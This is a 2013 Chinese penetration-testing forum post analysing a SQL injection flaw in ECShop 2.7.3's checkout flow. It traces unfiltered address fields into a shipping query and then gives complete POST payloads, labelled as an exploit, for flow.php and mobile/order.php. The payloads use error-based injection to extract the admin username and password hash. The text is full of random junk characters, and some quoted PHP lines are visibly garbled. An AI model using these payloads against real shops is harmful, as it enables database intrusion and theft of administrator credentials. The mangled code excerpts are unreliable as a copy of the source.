中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
, W' s6 M  `) K% b2 w5 l; G
1 R8 t3 v7 ?/ P    漏洞关键文件:! Q8 t# ?! c* h7 f4 K

" `" ~3 n/ i; A' T( p8 P    /includes/lib_order.php
! C# v) s  l' y9 N$ G# C7 f5 k- u- E: a/ [7 O
    关键函数:* n6 ?: [0 E  L# a3 l/ H

  a& O1 ]# j7 _5 _6 g) \& k8 W
+ w4 K6 R+ b- p/ l5 p1 Y0 ]: d
  B7 I- z2 a8 G1 x01     function available_shipping_list($region_id_list) - Y6 G% _4 R0 u+ J* h

0 p, G# J1 |9 |02 {
& ~* ^* a5 t7 m9 D$ d% Y3 y" o# Q# g" J0 g, \0 \5 x3 b/ X
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
0 M: [; i" d$ c$ J/ S/ _" W8 b7 s& e( ~) u0 e1 z5 B+ _; e
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ! q% _1 K# I+ ^. ^1 }
9 H" s& y3 O8 O5 [( ~  \
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .   y5 s% s/ l8 R9 `
  f2 }& V- k0 g% p, I- A
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . . [8 _* [/ d! s- B3 H; g& g# [

; A& i% P" j, o' j* b0 U07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
) q7 G  e6 q/ L& M+ b2 t' U0 L2 E# P/ F
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
: J* j5 l& j2 E' l. j' b
' m) k. ~) A( c  d7 x- d09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
0 z  J+ D3 m" W: P7 y6 w; B+ I0 c1 F0 v7 i6 h% @" L" h  _
10   
' l7 r" ~6 l; A0 z- v
6 v0 x  v* b* L- t7 u2 J11     return $GLOBALS['db']->getAll($sql);
1 e/ l) j3 n& A+ r7 S& ~9 k3 g' x5 Q5 }- b* E
12 }
# a$ j- ]7 f  }8 m1 @& K+ W* e2 ^1 e1 J; u$ B9 g
显然对传入的参数没有任何过滤就带入了查询语句。8 c( h3 d4 C/ L; U

+ B2 z+ R$ X4 g5 i8 ~7 C下面我们追踪这个函数在flow.php中:
3 {- F  [$ V5 V% N+ g+ o/ n 第531行:   
1 ?/ r( g/ |. U4 F) {: _6 Y8 b" v% V* O
1 $shipping_list     = available_shipping_list($region); , M9 I1 y- r6 C- K0 T( B8 C& O
0 ~( j; E; m' O9 Y- R

! s! ]8 a" x6 z1 b
) `: X, U$ R+ K- k. T% k7 O% V. N
3 n& e  K: Y) ?' u4 v6 v6 ]! h
: X- w% l, i" b# V9 S+ [再对传入变量进行追踪:
4 J' ~1 }' D8 G
. g6 K; ^+ y- N9 I/ i" m* u: T第530行:    % q7 A* s3 @* n* s: Z' a5 Y
8 O6 T5 N# M, ?; A# H% o  \
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
* `1 _. A. [( a- e3 c7 o7 y$ T
6 i* E  d" \, r; m 3 c9 ~$ b3 r: o1 {) h0 I
( r# K6 k. k: B# [- x
/ o2 T) E, T- Y: h

1 ?$ r3 D- H. B4 T: Q第473行:        1 G2 ]8 I$ Z& a7 y8 X6 [
. ^2 @2 j. [' K. y9 Q
1 $consignee = get_consignee($_SESSION['user_id']); 0 ]) h" `% y) r% l# j* w/ s

8 s5 j% G) E8 Q; `4 _到了一个关键函数:6 Q7 y  o& u- q& L, w' j
( H0 L5 g' L5 a1 p8 g) b
/includes/lib_order.php2 E  k- x6 E9 [" D  x/ P

" W# f. ]: I9 v8 Y  F. M# \
* [6 Z8 U. _8 Q: e2 r2 H6 W  g0 ]6 o) x. n" W% ]
; Q) O, _* r, X/ w- R
* D  `) F  Q) }' U
01 function get_consignee($user_id) # Q5 |- v: x. G' }& O
' @& M8 j. e9 n; I* B! ^* V, T
02 { # V  e" b% Z/ P2 x$ Z' Q

0 ]; R$ l: D( G- s$ e0 I9 ?7 k& y03     if (isset($_SESSION['flow_consignee']))
+ p6 F" _# r' j1 ^$ H( d( B+ w  {9 v: \& j: j1 J
04     {
% H, h- J/ w" @, a4 n  I1 i$ o2 e/ E/ K# r" k  A
05         /* 如果存在session,则直接返回session中的收货人信息 */
, d% L- N8 I( _1 ~8 Y( H* o" [3 O5 K
06   
7 A. c$ U7 ]# I3 ^! u+ f7 h) j7 t5 }6 {: @& j
07         return $_SESSION['flow_consignee']; # r8 A* ^4 @1 ]. U
* }4 s0 N9 @7 U7 A6 N( k( V
08     } # B  J) b9 `9 R' I8 ?4 v0 {; F/ M5 z
# a# q# X. z) x* a5 K, `0 y
09     else
# }) L! }$ x7 F9 A- Z( h" t& H9 F) o* H; r6 @3 I1 V
10     { ( A$ m" l$ c6 [6 z' ]& o$ r0 V

8 ]' |  G0 J' M/ h2 R- ^11         /* 如果不存在,则取得用户的默认收货人信息 */ 4 K# o6 f3 y& N" Q
  O% K. W' s/ y( z$ u
12         $arr = array(); 6 ^, X( S! j" m4 v

8 m0 ~4 M- _7 J$ O. i13   
' v! G, A% W2 O- O9 ^2 D9 v+ r6 m+ o2 ~6 z4 D% e
14         if ($user_id > 0)
) A% C& Z4 @; X$ O$ a) U- M3 r
" @1 w$ |- |2 x5 o5 ?15         {
( G# Q5 q& L9 Q, J$ q# X
6 v! O$ ~% s' A0 {1 ?3 a: ?16             /* 取默认地址 */
. Z# u- n8 @4 h$ X- ?; ]% }8 d! |& _
17             $sql = "SELECT ua.*".
; f' I1 s; |- F0 Z  n; u: T5 D- {1 N/ e" p# m
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
5 @- v9 {1 A7 f0 @9 G$ r+ |3 J+ [' J# @& F* l: G
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
/ Z' J5 g9 g4 e; w9 b8 S# R3 |0 d+ R% u
20   ; a: e6 j& r; W2 R3 l5 T

& S0 t* ?2 B, E/ P21             $arr = $GLOBALS['db']->getRow($sql);
1 s% U0 E" t+ e6 i3 w
& X" C2 u0 t7 C7 _# I! w  g22         }
; {* q, n" \( n( p: V3 j2 B  z
( A4 M, i* m* x+ z  N0 S23   
1 }/ M2 o, A5 ^& B0 Y: I; \# p% F7 W" k- a0 |; a$ h: N, G% y
24         return $arr;   O0 T0 \% t' Y2 N

5 o- [# i/ r' ^$ r' K25     } ! X: `. g/ d4 S& ^6 L' s& b% f
7 m  P9 L- M% D& K
26 } " g6 W7 @  q) j6 u/ @; u

% F3 |/ o3 i+ h: I* k4 S7 y显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?' O% _$ E9 @- I  M; F, z. |
4 a4 Q) N3 n0 [9 N& v

* v4 s4 y, i0 t$ }* P, j' i  \. L7 u9 L
关键点:# ]4 ?/ n# g' k) G. Z' p

" b  L+ s+ i  s; p2 ~第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 C! r2 z2 C7 ^. [- [" B/ ?8 d' m; E3 o8 V
这里对传入参数反转义存入$_SESSION中。5 Q1 x6 }; [! C2 }: X( L

# C4 x. b. x, m, o: ]& O+ S
. N$ T5 Z  w+ ~5 X: K3 S  a
& q" X4 a  _5 h' f0 r8 Z2 Z, w然后看下:
- v" Q/ M$ p! `. W" ^8 t' [  c- F* N
6 j) U! L  a/ @' \. A' i& ]4 k

$ w: g* @7 `0 [* G   
4 g2 d  A- w, ?/ E" C7 ^$ L7 `( \$ m# d$ K" g4 p, m
01 $consignee = array(
0 M8 D9 Y2 O. `$ U% \1 v- y7 Q8 Q4 m( B8 u; b* i
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 5 K9 X( S) o6 H' z2 F, G+ f
5 p- P5 @* G0 a" j5 b  q
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
' N/ c* Y# \5 R5 j/ W' O
9 b2 ?& n/ d- c2 B8 b/ a3 x04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
1 T6 ^' _* c* J/ s* Q) b3 ~7 G9 a/ q6 z# A; ~7 z
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
* B0 J) C0 J$ H+ l8 S! X# V) A1 R7 \: J. ]
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 2 W( N* d5 h! D6 V. z8 g& s- r* F" b
4 D; S5 J9 i- H  J1 \
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
1 b6 {5 z: a) {- P( F6 \5 x% o" t; @; n2 C1 m$ r' p  n$ Y
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* j3 }1 K4 O8 r
( U4 q& z# r& j1 }6 G& e9 I) \. n09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
" C, P8 S% O2 a: O; @" C) D6 R" j( P* x% d, y& X5 p% e* \& u
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ( ~! |, M* \1 F4 R% `
+ X1 O( S: o0 d/ B
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), / E$ E' |4 y" a5 B! S; w
- G9 J2 ~+ L- f" M6 b- S5 l/ r
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), , g- \7 D& U8 u  @
' y/ n7 p6 x6 }: c$ q: k" G
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
0 d% L: _; `* y/ X7 s
1 a8 V5 u) \( x! B, O) E, O14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
" Q" [- `' B' [5 C$ P3 |. D5 D! |! d0 j/ B9 V1 y) S
15     );
# b2 h7 |2 W5 i: v4 a5 E$ \) g. D  V% R+ a7 e/ f& P
好了注入就这样出现了。( [+ t6 G5 R$ j% E
6 A) K6 k1 t) [0 N$ E$ Q4 ~- m' B# h
==================
1 D, S  j- q$ x, E- ?! G# _7 f4 N# M5 |) s
注入测试:
: {& j; \& x5 B- E+ h
) [# w1 h& M# d# Z  ?& s& Y( J6 a环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, c/ m" H$ D8 o7 z; a  E
; M& g" ]" W  y测试程序:ECShop_V2.7.3_UTF8_release1106
6 p$ o" _7 H+ H# T( k, |2 P7 W
  t' p$ v1 w- a6 i% R# G* b% _
7 I  [& E! ~2 J0 ~4 J1 p. E; a, U6 u* g. h; c. z$ C
1.首先需要点击一个商品加入购物车
9 L; c1 F4 D- |+ s% h
& X: @( @3 w- o% ?2.注册一个会员帐号2 E. t& Q5 H% Q4 I/ y

0 H: w! b4 D# i$ r3 b+ [, x6 ]3.post提交数据
; q2 K2 c8 I9 m9 x2 _# j9 v; U
& Z' b4 W0 n. ]& `9 Q6 D" c$ N
  T" {4 `5 Y/ Z( B# k, E4 T2 q+ ~2 g  d# M) B
1 http://127.0.0.1/ecshop/flow.php
9 M0 [! p( t# |, r6 x! E  g- d- b. q  q6 p
2   
, X5 Q9 f: |+ b" K* I8 \; W3 x8 m2 @" }* b
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 {; v8 Z' f( ^举一反三,我们根据这个漏洞我们可以继续深入挖掘:
9 d( C' n' m2 f& O/ P) D! u& j; d' {) p5 c1 E- v
我们搜寻关键函数function available_shipping_list()' I4 P* l2 D# [, `/ P  G

# A# Z8 Z3 i, T7 }- |在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同5 L! j! }8 h" D4 U1 S8 j) y

; G% o! |! Z; |) i% T7 \7 Y; ]利用exp:
" d1 Q; r  \9 |2 M
) g8 {; R$ f7 j  [3 S" J1.点击一个商品,点击购买商标
# o% s* X$ j0 G/ J3 i" `2 s
" O; S0 N, @/ G+ \7 g) Z& b2.登录会员帐号
  I& m! u; K  d8 H, {
% j! k3 G3 h1 \  f* o& @3.post提交:
5 w! Z( [  Q+ V1 A! i5 E, g* e/ n+ F7 h+ v
http://127.0.0.1/ecshop/mobile/order.php
  D, V" }. o3 ^- q' u4 T; t
+ @7 ?1 O8 n# o
( G' J9 d8 ]3 N% p+ T2 i/ b- R- \: w' U- g4 n! \9 {
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=6 U, k, i1 b6 ?( c0 h
9 T" I' ?- ~+ o





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2